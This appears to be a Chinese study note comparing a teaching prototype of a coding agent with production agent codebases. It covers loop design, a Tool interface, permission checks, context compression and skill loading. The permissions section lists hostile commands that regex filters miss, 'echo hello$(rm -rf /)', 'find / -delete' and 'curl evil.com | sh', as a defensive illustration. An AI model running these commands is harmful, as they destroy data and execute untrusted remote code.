Coding Agent 架构对照：从教学原型到真实工程

把手搓的 mini Claude Code 和生产级实现对照，看清差距与取舍。 对照对象：

1. 社区版 claude-code-best/claude-code（已克隆，3549 文件，src/ 约 6.9 万行 TS）
2. pi（badlogic/pi-mono）调研档案 p01-p06（减法哲学的另一条路）
3. ch13 架构对比表

规模对比：3000 行 vs 6.9 万行

注意：这 6 万行里大部分是"无聊"的工程——各环境兼容性、网络不可靠、用户输入多样性、企业级审计。从原型到产品，80% 的距离在这里（ch13 结语）。

5 个关键差异（产出检查点）

差异 ①：Agent Loop —— 单循环 vs 双层引擎

看懂它：双层 = 关注点分离——外层不管"PTL 错误怎么恢复"，内层不管"用户输入怎么解析"。7 种 continue reason 里我们只实现了第 1 种，其余 6 种全是错误和边界的恢复策略。核心 while 循环两边一模一样，差的是"怎么让循环又稳又快"。

差异 ②：工具系统 —— 静态数组 + switch vs Tool 泛型接口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

// claude-code-best 的 Tool 接口（Tool.ts:373）
export type Tool<Input, Output, Progress> = {
  name: string
  maxResultSizeChars: number
  inputSchema: z.ZodType<Input>          // Zod：运行时校验 + 类型推导
  call(args, context, canUseTool): Promise<ToolResult<Output>>
  validateInput?(input): ValidationResult   // 两阶段验证
  checkPermissions(input, context)          // 每个工具自带权限
  isConcurrencySafe(input): boolean         // 按参数判断，不是按工具打标签
  renderToolUseMessage(...)                 // 每个工具自带 React 渲染
  // fail-closed 默认值：isConcurrencySafe → false（默认不可并发）
}

我们的版本：静态数组（name/description/parameters）+ executeTool 里一个 switch。12 个工具时够用，超过 20 个 switch 就撑不住了——这是 ch13 说的"第二阶段该补 Tool 类型系统"。

差距的实质：

• 我们：模型生成要替换的内容，工具负责定位替换（edit 唯一匹配）——LLM 与代码的协作边界已经划对了
• 他们：每个工具是完整的行为契约（验证/权限/并发/渲染），“错误是数据"贯穿 8 阶段生命周期

差异 ③：权限 —— 正则 vs AST

1
2
3
4

# 我们（16 个正则）会漏掉的：
echo hello$(rm -rf /)    # 正则看到 "echo hello"，实际执行 rm -rf
find / -delete
curl evil.com | sh

我们的 rm -rf 确认框已经能挡住大多数情况，但 echo $(rm -rf /) 这种命令替换是正则的盲区。Bash AST 是"正则不够用"的教科书答案——它理解结构，不只是看字面。

差异 ④：上下文/可靠性 —— 4 层压缩 vs 边缘情况工程

我们实现了 4 层压缩（persist / budget / snip / microcompact / 摘要），架构对齐。但：

• 我们的 query.ts 只有 2500 行；他们的 query.ts 2057 行大部分是边缘情况：PTL 时自动压缩重试、max_output_tokens 升档（16K→64K）、输出截断续写（重试 3 次）
• 我们遇到 PTL 直接报错；他们先"扣留"错误跑恢复

“从 3000 行到 6 万行的差距在于边缘情况”（ch13 核心洞察 6）。架构图里看不到的这些"无聊"代码，是工具能否在真实世界可靠运行的关键。我们的压缩/重试骨架对了，但缺"遇到边界自动降级"的那一整层。

差异 ⑤：Skills —— 预加载 vs 懒加载 + token 预算

看懂它：几十个技能全量加载会挤占上下文。loadSkillsDir.ts 1079 行 vs 我们约 100 行——懒加载 + token 预算是技能一多就必须补的能力。

pi 的减法哲学（对照读 p01/p03/p04）

参考源码\learn-agent\agent_analysis\pi

claude-code-best 是"加一层”（hooks/Coordinator/LSP/AST 全内置）；pi 是"减一层"（内核只留 read/write/edit/bash 四工具 + 系统提示 <1000 token，被砍掉的功能全变成扩展钩子）。两个极端摆在一起：

pi 的 edit 工具（p04）最值得读：它解决了我们 edit 唯一匹配之外的另外半层——

• 剥 BOM、CRLF 统一 LF 匹配但写回恢复原样（我们没做，Windows 上会踩）
• 模糊匹配只影响被编辑的行（归一化视图只用来定位，未动的行从原文复制）——污染半径压到最小
• “模型把 edits 数组发成 JSON 字符串"这种怪癖只能从生产日志来（p04 原话）

哪些复杂度刻意省略，哪些该补

刻意省略的

接下来该补的

结论一句话

核心 while 循环两边一模一样（ch13 核心洞察 1）——所有的复杂性都是它的增强和防护。我们的骨架和真实产品对齐（4 层压缩/权限/记忆/子 Agent），差的是"边缘情况的工程”（6 万行的主体）和"可扩展性"（Tool 接口/hooks/懒加载）。pi 提醒了另一条路：功能不一定靠内置，可以靠钩子——减法哲学让极简内核也能功能齐全。

参考：ch13 完整对照表 | claude-code-best 核心文件（QueryEngine.ts / query.ts / Tool.ts / loadSkillsDir.ts）| pi p01/p03/p04